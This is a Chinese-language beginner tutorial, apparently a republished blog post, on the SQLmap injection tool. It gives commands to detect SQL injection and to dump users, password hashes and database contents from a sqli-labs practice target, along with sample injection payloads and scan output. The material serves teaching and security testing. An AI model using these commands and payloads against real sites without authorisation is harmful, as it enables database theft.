SQL注入工具之SQLmap入门操作

这篇具有很好参考价值的文章主要介绍了SQL注入工具之SQLmap入门操作。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

SQL注入工具之SQLmap入门操作,自动化,sql,python,软件测试,经验分享,fiddler,开发语言

了解SQLmap

基础操作

SQLmap是一款自动化的SQL注入工具,可以用于检测和利用SQL注入漏洞。

以下是SQLmap的入门操作步骤:

  • 1.下载SQLmap:可以从官方网站(https://sqlmap.org/)下载最新版本的SQLmap。

  • 2.打开终端:在终端中进入SQLmap所在的目录。

  • 3.输入命令:使用以下命令运行SQLmap

python sqlmap.py -u <目标URL>

其中,<;目标URL>;是指要测试的网站的URL地址。

  • 1.运行测试SQLmap会自动检测目标网站是否存在SQL注入漏洞,并给出测试结果。

  • 2.利用漏洞:如果SQLmap检测到目标网站存在SQL注入漏洞,可以使用以下命令利用漏洞:

python sqlmap.py -u <目标URL> --dbs

这个命令将会列出目标网站的所有数据库。

  • 1.获取数据:可以使用以下命令获取数据库中的数据:

python sqlmap.py -u <目标URL> -D <数据库名> -T <表名> --dump

其中,<;数据库名>;和<;表名>;是指要获取数据的数据库和表的名称。

功能

虽然没有官方的图形化界面,但是市面上有很多个人做的图形化插件,如果实在不熟悉命令行可以考虑换成图形化插件进行使用。

SQL注入工具之SQLmap入门操作,自动化,sql,python,软件测试,经验分享,fiddler,开发语言

SQLMap是一个自动化的SQL注入工具,其主要功能包括

  1. 扫描、发现并利用给定URLSQL注入漏洞。

  2. 内置了很多绕过插件,支持的数据库是MySQLOraclePostgreSQLMicrosoft SQL ServerMicrosoft AccessIBM DB2SQLiteFirebirdSybaseSAP MaxDB

  3. 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。

  4. 支持HTTP代理,可以在使用代理时进行注入测试。

  5. 支持多线程,可以同时测试多个注入点。

  6. 支持自定义HTTP头和Cookie

  7. 支持自定义注入语句。

  8. 支持自定义注入深度和注入等级。

  9. 支持自定义报告输出格式。

  10. 提供wafipsids检查和绕开,采用代理实现隐藏注入

  11. 可以导出数据库表和列,自动识别破jie哈希口令

  12. 支持脱库

使用SQLmap

SQL注入工具之SQLmap入门操作,自动化,sql,python,软件测试,经验分享,fiddler,开发语言

软件安装

kali LinuxWindows环境中都有,kali是自带SQLmap

基础操作

 SQL注入工具之SQLmap入门操作,自动化,sql,python,软件测试,经验分享,fiddler,开发语言

SQLmap --v  //显示版本信息

SQLmap -h  //帮助

SQLmap -hh  //详细帮助

-level=LEVEL  //水平1-5,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。

--risk=RISK  //风险1-3,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。

默认扫完后会把信息存储在more /root/.sqlmap/output/192.168.199.153/log  这个目录下,这是一个隐藏文件夹

GET注入原理

SQL注入工具之SQLmap入门操作,自动化,sql,python,软件测试,经验分享,fiddler,开发语言

 SQLmap是一款自动化SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞。

它可以通过GETPOST请求向Web应用程序发送恶意请求,以检测是否存在SQL注入漏洞。

以下是SQLmap进行GET注入的原理:

  1. SQLmap会向目标URL发送一个GET请求,同时在URL中注入恶意代码。

  2. 目标服务器接收到请求后,将恶意代码传递给后端数据库。如果目标应用程序存在SQL注入漏洞,则数据库会执行恶意代码,并将结果返回给应用程序。

  3. SQLmap会分析返回的结果,以确定是否存在SQL注入漏洞。

以下是一个使用SQLmap进行GET注入的示例命令:

sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --technique=E --answers="extending=N" --batch

初级扫描方案

SQL注入工具之SQLmap入门操作,自动化,sql,python,软件测试,经验分享,fiddler,开发语言

探测是否存在sql注入漏洞

对于不用登录的网站,直接指定其URL

sqlmap -u "http://xxx/Less-1/?id=1"

直接扫到数据库类型为mysql数据库(输入y继续):

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

我们也可以使用一个参数--batch,这个参数可以省去SQLmap询问,直接选择默认项,例如上面的扫描语句可以写成:

sqlmap -u "http://xxx/Less-1/?id=1" --batch

扫描出id部分存在boolean盲注:

GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable                
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

 扫描完成后,sqlmap给出了一些验证漏洞的payload信息:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5728=5728 AND 'IxVn'='IxVn

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiy

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
    Payload: id=1' OR SLEEP(5)#

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -

扫描结果:

[06:28:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.6

 对于需要登录的网站,我们需要指定其cookie

我们可以用账号密码登录,然后用bp抓取其cookie填入

sqlmap -u  "http://xxx/sqli/Less-1/?id=1"   --cookie="抓取的cookie"

对于是post提交数据的URL,我们需要指定其data参数

sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"

更便捷的做法:通过抓取http数据包保存为文件

这样,我们就不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便

如下,我们保存网站的访问数据包为data.txt文件:

SQL注入工具之SQLmap入门操作,自动化,sql,python,软件测试,经验分享,fiddler,开发语言

sqlmap -r data.txt -p id

可以看到,我的网站存在防CSRF公鸡,SQLmap注入失败

SQL注入工具之SQLmap入门操作,自动化,sql,python,软件测试,经验分享,fiddler,开发语言

 查看数据库信息

查看数据库的所有用户:

sqlmap -u "http://xxx/Less-1/?id=1" --users

查看数据库所有用户名的密码

sqlmap -u "http://xxx/Less-1/?id=1" --passwords

 查看数据库当前用户

sqlmap -u "http://xxx/Less-1/?id=1" --current-user

扫到当前用户信息:

current user: 'sqlilabs@localhost!'

判断当前用户是否有管理权限:

sqlmap -u "http://xxx/Less-1/?id=1" --is-dba

 当前用户是不是root用户:

current user is DBA: False

列出数据库管理员角色:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles

查看所有的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs

 查看当前的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db

得到当前数据库信息:

(03:25:33] [INFO] fetching currentdatabasecurrent database: 'security'

爆出指定数据库(securty)中的所有的表:


sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --tables

SQL注入工具之SQLmap入门操作,自动化,sql,python,软件测试,经验分享,fiddler,开发语言

爆出指定数据库指定表中的所有的列: 

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --columns

爆出指定数据库指定表指定列下的数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users -C username --dump

爆出该网站数据库中的所有数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

举例如下:

SQL注入工具之SQLmap入门操作,自动化,sql,python,软件测试,经验分享,fiddler,开发语言

基本语法:

SQLmap是一款自动化SQL注入工具,可以用于检测和利用SQL注入漏洞。以下是SQLmap的基本语法:

sqlmap [options]

其中,options包括:

-u:指定目标URL

--data:指定POST请求的数据。

--cookie:指定cookie

--level:指定测试的等级(1-5)。

--risk:指定测试的风险等级(0-3)。

--dbs:获取所有数据库。

--current-db:获取当前数据库。

--tables:获取指定数据库中的所有表。

--columns:获取指定表中的所有列。

--dump:获取指定表中的所有数据。

-v:指定详细程度(0-6)。

以下是两个SQLmap的例子:

1.获取所有数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2

 2.获取指定表中的所有列文章来源地址https://www.toymoban.com/news/detail-831550.html

sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2

到了这里,关于SQL注入工具之SQLmap入门操作的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web界面自动化操作工具 - Selenium常见用法

    Selenium是一个用于自动化浏览器操作的工具,常用于Web应用程序的测试和爬虫开发。 下面是一些Python Selenium的常见用法和代码示例: 其他多种Selenuim定位元素的方法: 这些是Python Selenium的一些常见用法和代码示例。Selenium提供了丰富的API用于模拟用户操作和获取页面内容,可

    2024年02月06日
    浏览(41)
  • selenium入门超详细教程——网页自动化操作

    Selenium是广泛使用的模拟浏览器运行的库,它是一个用于Web应用程序测试的工具。 Selenium测试直接运行在浏览器中,就像真正的用户在操作一样,并且支持大多数现代 Web 浏览器。下面就进入正式的学习阶段。 激活虚拟环境 通过pip安装 针对不同的浏览器,需要安装不同的驱动

    2024年02月03日
    浏览(103)
  • 【云原生】Ansible自动化批量操作工具&playbook剧本

    目录 1.playbook相关知识 1.1 playbook 的简介 1.2 playbook的 各部分组成 2. 基础的playbook剧本编写实例 2.1 playbook编写Apache安装剧本(yum方式安装)  报错集:  实例2:playbook编写nginx 的yum安装并且能修改其监听端口的剧本 实例3:定义、引用变量  实例4:指定远程主机sudu切换用户

    2024年02月10日
    浏览(38)
  • 自动化运维工具Ansible教程(一)【入门篇】

    ansible 学习大纲 Ansible 是一个开源的自动化工具,用于配置管理、应用部署和任务执行。它以简单、可读性强的 YAML 格式的 Playbooks 为基础,使得自动化任务变得简单、可维护和可扩展。 简单易用 :Ansible 的设计目标之一是简单易用。它使用 YAML 语法定义任务和配置,无需编

    2024年02月09日
    浏览(45)
  • 自动化测试工具Katalon(Web)测试操作说明

    目录 目录 1. Katalon简介 2. 安装Katalon 2.1. 注册 2.2. 下载 2.3. 启动 3. 创建测试项目 4. 创建测试用例 5. 录制一个用例 6. 运行测试用例 7. 在测试用例中验证 8. 创建测试套件 9. 创建测试套件集合 10. 查看测试套件执行结果 10.1. 通过Result查看 10.2. 通过Reports查看 11. 两种视图 11.1. M

    2023年04月11日
    浏览(40)
  • 【操作系统】Liunx项目自动化构建工具-make/Makefile

                 Yan-英杰的主页 悟已往之不谏 知来者之可追   C++程序员,2024届电子信息研究生 目录 一、背景 二、Makefile         实现         Makefile依赖         依赖关系         makefile的工作原理         项目清理         补充:         .PHONY是什么?  

    2024年02月16日
    浏览(40)
  • 注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等

    1、SQLMAP-常规猜解字典配置 2、SQLMAP-权限操作文件命令 3、SQLMAP-Tamper使用开发 4、SQLMAP-调试指纹风险等级 https://www.cnblogs.com/bmjoker/p/9326258.html 测试:http://vulnweb.com/ –current-db –tables -D “” –columns -T “” -D “” –dump -C “” -C “” -T “” 1.IIS, ASP, Microsoft SQL Server(ACCESS数据

    2024年02月22日
    浏览(39)
  • 不用编程超简单的自动化测试工具:Airtest入门篇教程

    很多刚入行或从其他行业转行做测试的同学,日复一日每天做点工已经点得疲惫和麻木,觉得做测试和在厂子里打螺丝没太大区别。也想着做一做自动化测试,奈何自己看着代码就头痛,当初就是因为不喜欢编程才选择的做测试。亦或者由于从其他行业转行过来的,隔行如隔

    2024年02月05日
    浏览(47)
  • 不用编程超简单的自动化测试工具:Airtest安装使用入门篇

    很多刚入行或从其他行业转行做测试的同学,日复一日每天做点工已经点得疲惫和麻木,觉得做测试和在厂子里打螺丝没太大区别。也想着做一做自动化测试,奈何自己看着代码就头痛,当初就是因为不喜欢编程才选择的做测试。亦或者由于从其他行业转行过来的,隔行如隔

    2024年02月04日
    浏览(54)
  • “Linux免除系统交互操作方法、expect自动化交互工具” 及 “SSH批量修改主机密码脚本”

    案例:为机器磁盘进行分区并实现挂载,免交互式操作,如何实现? 注意:有些命令的交互操作提示是不算在标准输出和错误输出中的,此时该方法不适用 注意:命令的交互操作提示是不算终端窗口的,此时该方法不适用 一. expect 简介 expect 工具是一个根据脚本与其他交互

    2024年02月08日
    浏览(59)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包